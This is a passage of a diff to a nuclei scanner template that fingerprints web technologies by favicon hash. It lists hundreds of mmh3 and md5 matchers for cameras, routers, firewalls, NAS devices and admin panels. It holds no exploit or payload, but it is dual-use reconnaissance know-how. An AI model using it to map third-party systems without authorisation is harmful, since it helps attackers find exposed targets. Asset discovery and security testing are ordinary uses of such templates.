mmh3(base64_py(body)))" - - type: dsl - name: "vivotek-camera" - dsl: - - "status_code==200 && (\"-1654229048\" == mmh3(base64_py(body)))" - - type: dsl - name: "microsoft-iis" - dsl: - - "status_code==200 && (\"-1414475558\" == mmh3(base64_py(body)))" - - type: dsl - name: "univention-portal" - dsl: - - "status_code==200 && (\"-1697334194\" == mmh3(base64_py(body)))" - - type: dsl - name: "portainer-docker-management" - dsl: - - "status_code==200 && (\"-1424036600\" == mmh3(base64_py(body)))" - - type: dsl - name: "nos-router" - dsl: - - "status_code==200 && (\"-831826827\" == mmh3(base64_py(body)))" - - type: dsl - name: "tongda" - dsl: - - "status_code==200 && (\"-759108386\" == mmh3(base64_py(body)))" - - type: dsl - name: "crushftp" - dsl: - - "status_code==200 && (\"-1022206565\" == mmh3(base64_py(body)))" - - type: dsl - name: "endian-firewall" - dsl: - - "status_code==200 && (\"-1225484776\" == mmh3(base64_py(body)))" - - type: dsl - name: "kerio-control-firewall" - dsl: - - "status_code==200 && (\"-631002664\" == mmh3(base64_py(body)))" - - type: dsl - name: "ferozo-panel" - dsl: - - "status_code==200 && (\"2072198544\" == mmh3(base64_py(body)))" - - type: dsl - name: "kerio-control-firewall" - dsl: - - "status_code==200 && (\"-466504476\" == mmh3(base64_py(body)))" - - type: dsl - name: "cafe24-korea" - dsl: - - "status_code==200 && (\"1251810433\" == mmh3(base64_py(body)))" - - type: dsl - name: "mautic-open-source-marketing-automation" - dsl: - - "status_code==200 && (\"1273982002\" == mmh3(base64_py(body)))" - - type: dsl - name: "netiaspot-network" - dsl: - - "status_code==200 && (\"-978656757\" == mmh3(base64_py(body)))" - - type: dsl - name: "multilaser" - dsl: - - "status_code==200 && (\"916642917\" == mmh3(base64_py(body)))" - - type: dsl - name: "canvas-lms-learning-management" - dsl: - - "status_code==200 && (\"575613323\" == mmh3(base64_py(body)))" - - type: dsl - name: "ibm-server" - dsl: - - "status_code==200 && (\"1726027799\" == mmh3(base64_py(body)))" - - type: dsl - name: "adb-broadband-s.p.a.-network" - dsl: - - "status_code==200 && (\"-587741716\" == mmh3(base64_py(body)))" - - type: dsl - name: "arris-network" - dsl: - - "status_code==200 && (\"-360566773\" == mmh3(base64_py(body)))" - - type: dsl - name: "huawei-network" - dsl: - - "status_code==200 && (\"-884776764\" == mmh3(base64_py(body)))" - - type: dsl - name: "wampserver" - dsl: - - "status_code==200 && (\"929825723\" == mmh3(base64_py(body)))" - - type: dsl - name: "seagate-technology-nas" - dsl: - - "status_code==200 && (\"240136437\" == mmh3(base64_py(body)))" - - type: dsl - name: "upc-ceska-republica-network" - dsl: - - "status_code==200 && (\"1911253822\" == mmh3(base64_py(body)))" - - type: dsl - name: "flussonic-video-streaming" - dsl: - - "status_code==200 && (\"-393788031\" == mmh3(base64_py(body)))" - - type: dsl - name: "joomla" - dsl: - - "status_code==200 && (\"366524387\" == mmh3(base64_py(body)))" - - type: dsl - name: "wampserver" - dsl: - - "status_code==200 && (\"443944613\" == mmh3(base64_py(body)))" - - type: dsl - name: "metabase" - dsl: - - "status_code==200 && (\"1953726032\" == mmh3(base64_py(body)))" - - type: dsl - name: "d-link-network" - dsl: - - "status_code==200 && (\"-2031183903\" == mmh3(base64_py(body)))" - - type: dsl - name: "mobileiron" - dsl: - - "status_code==200 && (\"545827989\" == mmh3(base64_py(body)))" - - type: dsl - name: "mobileiron" - dsl: - - "status_code==200 && (\"967636089\" == mmh3(base64_py(body)))" - - type: dsl - name: "mobileiron" - dsl: - - "status_code==200 && (\"362091310\" == mmh3(base64_py(body)))" - - type: dsl - name: "mobileiron" - dsl: - - "status_code==200 && (\"2086228042\" == mmh3(base64_py(body)))" - - type: dsl - name: "communigate" - dsl: - - "status_code==200 && (\"-1588746893\" == mmh3(base64_py(body)))" - - type: dsl - name: "zte-network" - dsl: - - "status_code==200 && (\"1427976651\" == mmh3(base64_py(body)))" - - type: dsl - name: "infinet-wireless-|-wanflex-network" - dsl: - - "status_code==200 && (\"1648531157\" == mmh3(base64_py(body)))" - - type: dsl - name: "mersive-solstice" - dsl: - - "status_code==200 && (\"938616453\" == mmh3(base64_py(body)))" - - type: dsl - name: "université-toulouse-1-capitole" - dsl: - - "status_code==200 && (\"1632780968\" == mmh3(base64_py(body)))" - - type: dsl - name: "digium-switchvox" - dsl: - - "status_code==200 && (\"2068154487\" == mmh3(base64_py(body)))" - - type: dsl - name: "powermta-monitoring" - dsl: - - "status_code==200 && (\"-1788112745\" == mmh3(base64_py(body)))" - - type: dsl - name: "smartlan/g" - dsl: - - "status_code==200 && (\"-644617577\" == mmh3(base64_py(body)))" - - type: dsl - name: "checkpoint-gaia" - dsl: - - "status_code==200 && (\"-1822098181\" == mmh3(base64_py(body)))" - - type: dsl - name: "mailwizz" - dsl: - - "status_code==200 && (\"2127152956\" == mmh3(base64_py(body)))" - - type: dsl - name: "rabbitmq" - dsl: - - "status_code==200 && (\"1064742722\" == mmh3(base64_py(body)))" - - type: dsl - name: "openmediavault-nas" - dsl: - - "status_code==200 && (\"-693082538\" == mmh3(base64_py(body)))" - - type: dsl - name: "openwrt-luci" - dsl: - - "status_code==200 && (\"1941381095\" == mmh3(base64_py(body)))" - - type: dsl - name: "honeywell" - dsl: - - "status_code==200 && (\"903086190\" == mmh3(base64_py(body)))" - - type: dsl - name: "bomgar-support-portal" - dsl: - - "status_code==200 && (\"829321644\" == mmh3(base64_py(body)))" - - type: dsl - name: "nuxt-js" - dsl: - - "status_code==200 && (\"-1442789563\" == mmh3(base64_py(body)))" - - type: dsl - name: "roundcube-webmail" - dsl: - - "status_code==200 && (\"-2140379067\" == mmh3(base64_py(body)))" - - type: dsl - name: "d-link-camera" - dsl: - - "status_code==200 && (\"-1897829998\" == mmh3(base64_py(body)))" - - type: dsl - name: "netgear-network" - dsl: - - "status_code==200 && (\"1047213685\" == mmh3(base64_py(body)))" - - type: dsl - name: "sonarqube" - dsl: - - "status_code==200 && (\"1485257654\" == mmh3(base64_py(body)))" - - type: dsl - name: "lupus-electronics-xt" - dsl: - - "status_code==200 && (\"-299324825\" == mmh3(base64_py(body)))" - - type: dsl - name: "vanderbilt-spc" - dsl: - - "status_code==200 && (\"-1162730477\" == mmh3(base64_py(body)))" - - type: dsl - name: "vzpp-plesk" - dsl: - - "status_code==200 && (\"-1268095485\" == mmh3(base64_py(body)))" - - type: dsl - name: "baidu" - dsl: - - "status_code==200 && (\"1118684072\" == mmh3(base64_py(body)))" - - type: dsl - name: "owncloud" - dsl: - - "status_code==200 && (\"-1616115760\" == mmh3(base64_py(body)))" - - type: dsl - name: "sentora" - dsl: - - "status_code==200 && (\"-2054889066\" == mmh3(base64_py(body)))" - - type: dsl - name: "alfresco" - dsl: - - "status_code==200 && (\"1333537166\" == mmh3(base64_py(body)))" - - type: dsl - name: "digital-keystone-dk" - dsl: - - "status_code==200 && (\"-373674173\" == mmh3(base64_py(body)))" - - type: dsl - name: "wispr-airlan" - dsl: - - "status_code==200 && (\"-106646451\" == mmh3(base64_py(body)))" - - type: dsl - name: "synology-vpn-plus" - dsl: - - "status_code==200 && (\"1235070469\" == mmh3(base64_py(body)))" - - type: dsl - name: "sentry" - dsl: - - "status_code==200 && (\"2063428236\" == mmh3(base64_py(body)))" - - type: dsl - name: "watchguard" - dsl: - - "status_code==200 && (\"15831193\" == mmh3(base64_py(body)))" - - type: dsl - name: "web-client-pro" - dsl: - - "status_code==200 && (\"-956471263\" == mmh3(base64_py(body)))" - - type: dsl - name: "tecvoz" - dsl: - - "status_code==200 && (\"-1452159623\" == mmh3(base64_py(body)))" - - type: dsl - name: "mdaemon-remote-administration" - dsl: - - "status_code==200 && (\"99432374\" == mmh3(base64_py(body)))" - - type: dsl - name: "paradox-ip-module" - dsl: - - "status_code==200 && (\"727253975\" == mmh3(base64_py(body)))" - - type: dsl - name: "dokuwiki" - dsl: - - "status_code==200 && (\"-630493013\" == mmh3(base64_py(body)))" - - type: dsl - name: "sails" - dsl: - - "status_code==200 && (\"552597979\" == mmh3(base64_py(body)))" - - type: dsl - name: "fastpanel-hosting" - dsl: - - "status_code==200 && (\"774252049\" == mmh3(base64_py(body)))" - - type: dsl - name: "c-lodop" - dsl: - - "status_code==200 && (\"-329747115\" == mmh3(base64_py(body)))" - - type: dsl - name: "jamf-pro-login" - dsl: - - "status_code==200 && (\"1262005940\" == mmh3(base64_py(body)))" - - type: dsl - name: "struxureware-schneider-electric" - dsl: - - "status_code==200 && (\"979634648\" == mmh3(base64_py(body)))" - - type: dsl - name: "axcient-replibit-management-server" - dsl: - - "status_code==200 && (\"475379699\" == mmh3(base64_py(body)))" - - type: dsl - name: "twonky-server-media-streaming" - dsl: - - "status_code==200 && (\"-878891718\" == mmh3(base64_py(body)))" - - type: dsl - name: "windows-azure" - dsl: - - "status_code==200 && (\"-2125083197\" == mmh3(base64_py(body)))" - - type: dsl - name: "isp-manager-web-hosting-panel" - dsl: - - "status_code==200 && (\"-1151675028\" == mmh3(base64_py(body)))" - - type: dsl - name: "jupyterhub" - dsl: - - "status_code==200 && (\"1248917303\" == mmh3(base64_py(body)))" - - type: dsl - name: "centurylink-modem-gui-login-eg" - dsl: - - "status_code==200 && (\"-1908556829\" == mmh3(base64_py(body)))" - - type: dsl - name: "tecvoz" - dsl: - - "status_code==200 && (\"1059329877\" == mmh3(base64_py(body)))" - - type: dsl - name: "opnsense" - dsl: - - "status_code==200 && (\"-1148190371\" == mmh3(base64_py(body)))" - - type: dsl - name: "ligowave-network" - dsl: - - "status_code==200 && (\"1467395679\" == mmh3(base64_py(body)))" - - type: dsl - name: "rumpus" - dsl: - - "status_code==200 && (\"-1528414776\" == mmh3(base64_py(body)))" - - type: dsl - name: "spiceworks-panel" - dsl: - - "status_code==200 && (\"-2117390767\" == mmh3(base64_py(body)))" - - type: dsl - name: "teamcity" - dsl: - - "status_code==200 && (\"-1944119648\" == mmh3(base64_py(body)))" - - type: dsl - name: "instar-full-hd-ip-camera" - dsl: - - "status_code==200 && (\"-1748763891\" == mmh3(base64_py(body)))" - - type: dsl - name: "gpon-home-gateway" - dsl: - - "status_code==200 && (\"251106693\" == mmh3(base64_py(body)))" - - type: dsl - name: "alienvault" - dsl: - - "status_code==200 && (\"-1779611449\" == mmh3(base64_py(body)))" - - type: dsl - name: "arbor-networks" - dsl: - - "status_code==200 && (\"-1745552996\" == mmh3(base64_py(body)))" - - type: dsl - name: "accrisoft" - dsl: - - "status_code==200 && (\"-1275148624\" == mmh3(base64_py(body)))" - - type: dsl - name: "yasni" - dsl: - - "status_code==200 && (\"-178685903\" == mmh3(base64_py(body)))" - - type: dsl - name: "slack" - dsl: - - "status_code==200 && (\"-43161126\" == mmh3(base64_py(body)))" - - type: dsl - name: "innovaphone" - dsl: - - "status_code==200 && (\"671221099\" == mmh3(base64_py(body)))" - - type: dsl - name: "shinobi-cctv" - dsl: - - "status_code==200 && (\"-10974981\" == mmh3(base64_py(body)))" - - type: dsl - name: "tp-link-network-device" - dsl: - - "status_code==200 && (\"1274078387\" == mmh3(base64_py(body)))" - - type: dsl - name: "siemens-ozw772" - dsl: - - "status_code==200 && (\"-336242473\" == mmh3(base64_py(body)))" - - type: dsl - name: "lantronix-spider" - dsl: - - "status_code==200 && (\"882208493\" == mmh3(base64_py(body)))" - - type: dsl - name: "claimtime-ramsell-public-health-&-safety" - dsl: - - "status_code==200 && (\"-687783882\" == mmh3(base64_py(body)))" - - type: dsl - name: "surfilter-ssl-vpn-portal" - dsl: - - "status_code==200 && (\"-590892202\" == mmh3(base64_py(body)))" - - type: dsl - name: "kyocera-printer" - dsl: - - "status_code==200 && (\"-50306417\" == mmh3(base64_py(body)))" - - type: dsl - name: "lucee!" - dsl: - - "status_code==200 && (\"784872924\" == mmh3(base64_py(body)))" - - type: dsl - name: "ricoh" - dsl: - - "status_code==200 && (\"1135165421\" == mmh3(base64_py(body)))" - - type: dsl - name: "handle-proxy" - dsl: - - "status_code==200 && (\"926501571\" == mmh3(base64_py(body)))" - - type: dsl - name: "metasploit" - dsl: - - "status_code==200 && (\"579239725\" == mmh3(base64_py(body)))" - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"-689902428\" == mmh3(base64_py(body)))" - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"-600508822\" == mmh3(base64_py(body)))" - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"656868270\" == mmh3(base64_py(body)))" - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"-2056503929\" == mmh3(base64_py(body)))" - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"-1656695885\" == mmh3(base64_py(body)))" - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"331870709\" == mmh3(base64_py(body)))" - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"1241049726\" == mmh3(base64_py(body)))" - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"998138196\" == mmh3(base64_py(body)))" - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"322531336\" == mmh3(base64_py(body)))" - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"-401934945\" == mmh3(base64_py(body)))" - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"-613216179\" == mmh3(base64_py(body)))" - - type: dsl - name: "chef-automate" - dsl: - - "status_code==200 && (\"-276759139\" == mmh3(base64_py(body)))" - - type: dsl - name: "gargoyle-router-management-utility" - dsl: - - "status_code==200 && (\"1862132268\" == mmh3(base64_py(body)))" - - type: dsl - name: "keepitsafe-management-console" - dsl: - - "status_code==200 && (\"-1738727418\" == mmh3(base64_py(body)))" - - type: dsl - name: "entronix-energy-management-platform" - dsl: - - "status_code==200 && (\"-368490461\" == mmh3(base64_py(body)))" - - type: dsl - name: "openproject" - dsl: - - "status_code==200 && (\"1836828108\" == mmh3(base64_py(body)))" - - type: dsl - name: "unified-management-console-polycom" - dsl: - - "status_code==200 && (\"-1775553655\" == mmh3(base64_py(body)))" - - type: dsl - name: "moxapass-iologik-remote-ethernet-i/o-server-" - dsl: - - "status_code==200 && (\"381100274\" == mmh3(base64_py(body)))" - - type: dsl - name: "hfs-http-file-server" - dsl: - - "status_code==200 && (\"2124459909\" == mmh3(base64_py(body)))" - - type: dsl - name: "hfs-http-file-server" - dsl: - - "status_code==200 && (\"731374291\" == mmh3(base64_py(body)))" - - type: dsl - name: "traccar-gps-tracking" - dsl: - - "status_code==200 && (\"-335153896\" == mmh3(base64_py(body)))" - - type: dsl - name: "iw" - dsl: - - "status_code==200 && (\"896412703\" == mmh3(base64_py(body)))" - - type: dsl - name: "wordpress-under-construction-icon" - dsl: - - "status_code==200 && (\"191654058\" == mmh3(base64_py(body)))" - - type: dsl - name: "combivox" - dsl: - - "status_code==200 && (\"-342262483\" == mmh3(base64_py(body)))" - - type: dsl - name: "netcomwireless-network" - dsl: - - "status_code==200 && (\"5542029\" == mmh3(base64_py(body)))" - - type: dsl - name: "elastic-database" - dsl: - - "status_code==200 && (\"1552860581\" == mmh3(base64_py(body)))" - - type: dsl - name: "drupal" - dsl: - - "status_code==200 && (\"1174841451\" == mmh3(base64_py(body)))" - - type: dsl - name: "truvision-nvr" - dsl: - - "status_code==200 && (\"-1093172228\" == mmh3(base64_py(body)))" - - type: dsl - name: "spamexperts" - dsl: - - "status_code==200 && (\"-1688698891\" == mmh3(base64_py(body)))" - - type: dsl - name: "sonatype-nexus-repository-manager" - dsl: - - "status_code==200 && (\"-1546574541\" == mmh3(base64_py(body)))" - - type: dsl - name: "idirect-canada-network-management" - dsl: - - "status_code==200 && (\"-256828986\" == mmh3(base64_py(body)))" - - type: dsl - name: "openerp-now-known-as-odoo" - dsl: - - "status_code==200 && (\"1966198264\" == mmh3(base64_py(body)))" - - type: dsl - name: "pkp-openjournalsystems-public-knowledge-project" - dsl: - - "status_code==200 && (\"2099342476\" == mmh3(base64_py(body)))" - - type: dsl - name: "liquidfiles" - dsl: - - "status_code==200 && (\"541087742\" == mmh3(base64_py(body)))" - - type: dsl - name: "zyxel-network" - dsl: - - "status_code==200 && (\"-882760066\" == mmh3(base64_py(body)))" - - type: dsl - name: "universal-devices-ud" - dsl: - - "status_code==200 && (\"16202868\" == mmh3(base64_py(body)))" - - type: dsl - name: "huawei-network" - dsl: - - "status_code==200 && (\"987967490\" == mmh3(base64_py(body)))" - - type: dsl - name: "gm77[.]com" - dsl: - - "status_code==200 && (\"-647318973\" == mmh3(base64_py(body)))" - - type: dsl - name: "okazik[.]pl" - dsl: - - "status_code==200 && (\"-1583478052\" == mmh3(base64_py(body)))" - - type: dsl - name: "gitea" - dsl: - - "status_code==200 && (\"1969970750\" == mmh3(base64_py(body)))" - - type: dsl - name: "tc-group" - dsl: - - "status_code==200 && (\"-1734573358\" == mmh3(base64_py(body)))" - - type: dsl - name: "deluge-web-ui" - dsl: - - "status_code==200 && (\"-1589842876\" == mmh3(base64_py(body)))" - - type: dsl - name: "登录-amh" - dsl: - - "status_code==200 && (\"1822002133\" == mmh3(base64_py(body)))" - - type: dsl - name: "otrs-open-ticket-request-system" - dsl: - - "status_code==200 && (\"-2006308185\" == mmh3(base64_py(body)))" - - type: dsl - name: "bosch-security-systems-camera" - dsl: - - "status_code==200 && (\"-1702769256\" == mmh3(base64_py(body)))" - - type: dsl - name: "node-red" - dsl: - - "status_code==200 && (\"321591353\" == mmh3(base64_py(body)))" - - type: dsl - name: "motioneye-camera" - dsl: - - "status_code==200 && (\"-923693877\" == mmh3(base64_py(body)))" - - type: dsl - name: "saia-burgess-controls-pcd" - dsl: - - "status_code==200 && (\"-1547576879\" == mmh3(base64_py(body)))" - - type: dsl - name: "arcadyan-o2-box-network" - dsl: - - "status_code==200 && (\"1479202414\" == mmh3(base64_py(body)))" - - type: dsl - name: "d-link-network" - dsl: - - "status_code==200 && (\"1081719753\" == mmh3(base64_py(body)))" - - type: dsl - name: "abilis-network/automation" - dsl: - - "status_code==200 && (\"-166151761\" == mmh3(base64_py(body)))" - - type: dsl - name: "ghost-cms" - dsl: - - "status_code==200 && (\"-1231681737\" == mmh3(base64_py(body)))" - - type: dsl - name: "airwatch" - dsl: - - "status_code==200 && (\"321909464\" == mmh3(base64_py(body)))" - - type: dsl - name: "airwatch" - dsl: - - "status_code==200 && (\"-1153873472\" == mmh3(base64_py(body)))" - - type: dsl - name: "airwatch" - dsl: - - "status_code==200 && (\"1095915848\" == mmh3(base64_py(body)))" - - type: dsl - name: "airwatch" - dsl: - - "status_code==200 && (\"788771792\" == mmh3(base64_py(body)))" - - type: dsl - name: "airwatch" - dsl: - - "status_code==200 && (\"-1863663974\" == mmh3(base64_py(body)))" - - type: dsl - name: "keyhelp-keyweb-ag" - dsl: - - "status_code==200 && (\"-1267819858\" == mmh3(base64_py(body)))" - - type: dsl - name: "keyhelp-keyweb-ag" - dsl: - - "status_code==200 && (\"726817668\" == mmh3(base64_py(body)))" - - type: dsl - name: "glpi" - dsl: - - "status_code==200 && (\"-1474875778\" == mmh3(base64_py(body)))" - - type: dsl - name: "netcom-technology" - dsl: - - "status_code==200 && (\"5471989\" == mmh3(base64_py(body)))" - - type: dsl - name: "cradlepoint" - dsl: - - "status_code==200 && (\"-1457536113\" == mmh3(base64_py(body)))" - - type: dsl - name: "myasp" - dsl: - - "status_code==200 && (\"-736276076\" == mmh3(base64_py(body)))" - - type: dsl - name: "intelbras-sa" - dsl: - - "status_code==200 && (\"-1343070146\" == mmh3(base64_py(body)))" - - type: dsl - name: "lenel" - dsl: - - "status_code==200 && (\"538585915\" == mmh3(base64_py(body)))" - - type: dsl - name: "okofen-pellematic" - dsl: - - "status_code==200 && (\"-625364318\" == mmh3(base64_py(body)))" - - type: dsl - name: "simplehelp-remote-support" - dsl: - - "status_code==200 && (\"1117165781\" == mmh3(base64_py(body)))" - - type: dsl - name: "graphql" - dsl: - - "status_code==200 && (\"-1067420240\" == mmh3(base64_py(body)))" - - type: dsl - name: "dnn-cms" - dsl: - - "status_code==200 && (\"-1465479343\" == mmh3(base64_py(body)))" - - type: dsl - name: "apple" - dsl: - - "status_code==200 && (\"1232159009\" == mmh3(base64_py(body)))" - - type: dsl - name: "apple" - dsl: - - "status_code==200 && (\"1382324298\" == mmh3(base64_py(body)))" - - type: dsl - name: "apple" - dsl: - - "status_code==200 && (\"-1498185948\" == mmh3(base64_py(body)))" - - type: dsl - name: "ispconfig" - dsl: - - "status_code==200 && (\"483383992\" == mmh3(base64_py(body)))" - - type: dsl - name: "microsoft-outlook" - dsl: - - "status_code==200 && (\"-1249852061\" == mmh3(base64_py(body)))" - - type: dsl - name: "possibly-dvr" - dsl: - - "status_code==200 && (\"999357577\" == mmh3(base64_py(body)))" - - type: dsl - name: "possible-ip-camera" - dsl: - - "status_code==200 && (\"492290497\" == mmh3(base64_py(body)))" - - type: dsl - name: "dvr" - dsl: - - "status_code==200 && (\"400100893\" == mmh3(base64_py(body)))" - - type: dsl - name: "One Identity Password Manager" - dsl: - - "status_code==200 && (\"983384876\" == mmh3(base64_py(body)))" diff --git a/poc/detect/favicon-detection-7443.yaml b/poc/detect/favicon-detection-7443.yaml index db559abf1a..624f917a05 100644 --- a/poc/detect/favicon-detection-7443.yaml +++ b/poc/detect/favicon-detection-7443.yaml @@ -2,15 +2,14 @@ id: favicon-detection info: name: favicon-detection - author: un-fmunozs severity: info - reference: + author: un-fmunozs + reference: | - https://twitter.com/brsn76945860/status/1171233054951501824 - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139 - https://github.com/devanshbatham/FavFreak - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv - tags: tech,favicon requests: - method: GET @@ -25,2613 +24,2003 @@ requests: name: proxmox dsl: - "len(body)==2336 && status_code==200 && (\"02f4db63a9cfb650c05ffd82956cbfd6\" == md5(body))" - - type: dsl name: blogger dsl: - "len(body)==3638 && status_code==200 && (\"59a0c7b6e4848ccdabcea0636efda02b\" == md5(body))" - - type: dsl name: oracle dsl: - "len(body)==1150 && status_code==200 && (\"421e176ae0837bcc6b879ef55adbc897\" == md5(body))" - - type: dsl name: hitachi dsl: - "len(body)==894 && status_code==200 && (\"41e9c43dc5e994ca7a40f4f92b50d01d\" == md5(body))" - - type: dsl name: meinberg dsl: - "len(body)==1406 && status_code==200 && (\"4b2524b4f28eac7d0e872b0e1323c02d\" == md5(body))" - - type: dsl name: "slack-instance" dsl: - "status_code==200 && (\"99395752\" == mmh3(base64_py(body)))" - - type: dsl name: "spring-boot" dsl: - "status_code==200 && (\"116323821\" == mmh3(base64_py(body)))" - - type: dsl name: "jenkins" dsl: - "status_code==200 && (\"81586312\" == mmh3(base64_py(body)))" - - type: dsl name: "cnservers-llc" dsl: - "status_code==200 && (\"-235701012\" == mmh3(base64_py(body)))" - - type: dsl name: "atlassian" dsl: - "status_code==200 && (\"743365239\" == mmh3(base64_py(body)))" - - type: dsl name: "chainpoint" dsl: - "status_code==200 && (\"2128230701\" == mmh3(base64_py(body)))" - - type: dsl name: "lacie" dsl: - "status_code==200 && (\"-1277814690\" == mmh3(base64_py(body)))" - - type: dsl name: "parse" dsl: - "status_code==200 && (\"246145559\" == mmh3(base64_py(body)))" - - type: dsl name: "atlassian" dsl: - "status_code==200 && (\"628535358\" == mmh3(base64_py(body)))" - - type: dsl name: "jira" dsl: - "status_code==200 && (\"855273746\" == mmh3(base64_py(body)))" - - type: dsl name: "avigilon" dsl: - "status_code==200 && (\"1318124267\" == mmh3(base64_py(body)))" - - type: dsl name: "atlassian-confluence" dsl: - "status_code==200 && (\"-305179312\" == mmh3(base64_py(body)))" - - type: dsl name: "openstack" dsl: - "status_code==200 && (\"786533217\" == mmh3(base64_py(body)))" - - type: dsl name: "pi-star" dsl: - "status_code==200 && (\"432733105\" == mmh3(base64_py(body)))" - - type: dsl name: "atlassian" dsl: - "status_code==200 && (\"705143395\" == mmh3(base64_py(body)))" - - type: dsl name: "angular-io-angularjs" dsl: - "status_code==200 && (\"-1255347784\" == mmh3(base64_py(body)))" - - type: dsl name: "xampp" dsl: - "status_code==200 && (\"-1275226814\" == mmh3(base64_py(body)))" - - type: dsl name: "react" dsl: - "status_code==200 && (\"-2009722838\" == mmh3(base64_py(body)))" - - type: dsl name: "atlassian-jira" dsl: - "status_code==200 && (\"981867722\" == mmh3(base64_py(body)))" - - type: dsl name: "openstack" dsl: - "status_code==200 && (\"-923088984\" == mmh3(base64_py(body)))" - - type: dsl name: "aplikasi" dsl: - "status_code==200 && (\"494866796\" == mmh3(base64_py(body)))" - - type: dsl name: "ubiquiti-aircube" dsl: - "status_code==200 && (\"1249285083\" == mmh3(base64_py(body)))" - - type: dsl name: "atlassian-bamboo" dsl: - "status_code==200 && (\"-1379982221\" == mmh3(base64_py(body)))" - - type: dsl name: "exostar-managed-access-gateway" dsl: - "status_code==200 && (\"420473080\" == mmh3(base64_py(body)))" - - type: dsl name: "atlassian-confluence" dsl: - "status_code==200 && (\"-1642532491\" == mmh3(base64_py(body)))" - - type: dsl name: "cisco-meraki" dsl: - "status_code==200 && (\"163842882\" == mmh3(base64_py(body)))" - - type: dsl name: "archivematica" dsl: - "status_code==200 && (\"-1378182799\" == mmh3(base64_py(body)))" - - type: dsl name: "tcn" dsl: - "status_code==200 && (\"-702384832\" == mmh3(base64_py(body)))" - - type: dsl name: "cx" dsl: - "status_code==200 && (\"-532394952\" == mmh3(base64_py(body)))" - - type: dsl name: "ace" dsl: - "status_code==200 && (\"-183163807\" == mmh3(base64_py(body)))" - - type: dsl name: "atlassian-jira" dsl: - "status_code==200 && (\"552727997\" == mmh3(base64_py(body)))" - - type: dsl name: "netdata" dsl: - "status_code==200 && (\"1302486561\" == mmh3(base64_py(body)))" - - type: dsl name: "opengeo-suite" dsl: - "status_code==200 && (\"-609520537\" == mmh3(base64_py(body)))" - - type: dsl name: "dgraph-ratel" dsl: - "status_code==200 && (\"-1961046099\" == mmh3(base64_py(body)))" - - type: dsl name: "atlassian-jira" dsl: - "status_code==200 && (\"-1581907337\" == mmh3(base64_py(body)))" - - type: dsl name: "material-dashboard" dsl: - "status_code==200 && (\"1913538826\" == mmh3(base64_py(body)))" - - type: dsl name: "form.io" dsl: - "status_code==200 && (\"1319699698\" == mmh3(base64_py(body)))" - - type: dsl name: "kubeflow" dsl: - "status_code==200 && (\"-1203021870\" == mmh3(base64_py(body)))" - - type: dsl name: "netdata-dashboard" dsl: - "status_code==200 && (\"-182423204\" == mmh3(base64_py(body)))" - - type: dsl name: "caprover" dsl: - "status_code==200 && (\"988422585\" == mmh3(base64_py(body)))" - - type: dsl name: "wijungle" dsl: - "status_code==200 && (\"2113497004\" == mmh3(base64_py(body)))" - - type: dsl name: "onera" dsl: - "status_code==200 && (\"1234311970\" == mmh3(base64_py(body)))" - - type: dsl name: "smartping" dsl: - "status_code==200 && (\"430582574\" == mmh3(base64_py(body)))" - - type: dsl name: "openstack" dsl: - "status_code==200 && (\"1232596212\" == mmh3(base64_py(body)))" - - type: dsl name: "netdata-dashboard" dsl: - "status_code==200 && (\"1585145626\" == mmh3(base64_py(body)))" - - type: dsl name: "fritz!box" dsl: - "status_code==200 && (\"-219752612\" == mmh3(base64_py(body)))" - - type: dsl name: "ubiquiti-airos" dsl: - "status_code==200 && (\"-697231354\" == mmh3(base64_py(body)))" - - type: dsl name: "fortinet-forticlient" dsl: - "status_code==200 && (\"945408572\" == mmh3(base64_py(body)))" - - type: dsl name: "outlook-web-application" dsl: - "status_code==200 && (\"1768726119\" == mmh3(base64_py(body)))" - - type: dsl name: "huawei-claro" dsl: - "status_code==200 && (\"2109473187\" == mmh3(base64_py(body)))" - - type: dsl name: "asus-aicloud" dsl: - "status_code==200 && (\"552592949\" == mmh3(base64_py(body)))" - - type: dsl name: "sonicwall" dsl: - "status_code==200 && (\"631108382\" == mmh3(base64_py(body)))" - - type: dsl name: "google" dsl: - "status_code==200 && (\"708578229\" == mmh3(base64_py(body)))" - - type: dsl name: "plesk" dsl: - "status_code==200 && (\"-134375033\" == mmh3(base64_py(body)))" - - type: dsl name: "dahua-storm-ip-camera" dsl: - "status_code==200 && (\"2019488876\" == mmh3(base64_py(body)))" - - type: dsl name: "huawei-adsl/router" dsl: - "status_code==200 && (\"-1395400951\" == mmh3(base64_py(body)))" - - type: dsl name: "sophos-cyberoam-appliance" dsl: - "status_code==200 && (\"1601194732\" == mmh3(base64_py(body)))" - - type: dsl name: "lancom-systems" dsl: - "status_code==200 && (\"-325082670\" == mmh3(base64_py(body)))" - - type: dsl name: "plesk" dsl: - "status_code==200 && (\"-1050786453\" == mmh3(base64_py(body)))" - - type: dsl name: "tilginab-homegateway" dsl: - "status_code==200 && (\"-1346447358\" == mmh3(base64_py(body)))" - - type: dsl name: "supermicro-intelligent-management-ipmi" dsl: - "status_code==200 && (\"1410610129\" == mmh3(base64_py(body)))" - - type: dsl name: "zyxel-zywall" dsl: - "status_code==200 && (\"-440644339\" == mmh3(base64_py(body)))" - - type: dsl name: "dell-sonicwall" dsl: - "status_code==200 && (\"363324987\" == mmh3(base64_py(body)))" - - type: dsl name: "ubiquiti-login-portals" dsl: - "status_code==200 && (\"-1446794564\" == mmh3(base64_py(body)))" - - type: dsl name: "sophos-user-portal/vpn-portal" dsl: - "status_code==200 && (\"1045696447\" == mmh3(base64_py(body)))" - - type: dsl name: "apache-tomcat" dsl: - "status_code==200 && (\"-297069493\" == mmh3(base64_py(body)))" - - type: dsl name: "openvpn" dsl: - "status_code==200 && (\"396533629\" == mmh3(base64_py(body)))" - - type: dsl name: "cyberoam" dsl: - "status_code==200 && 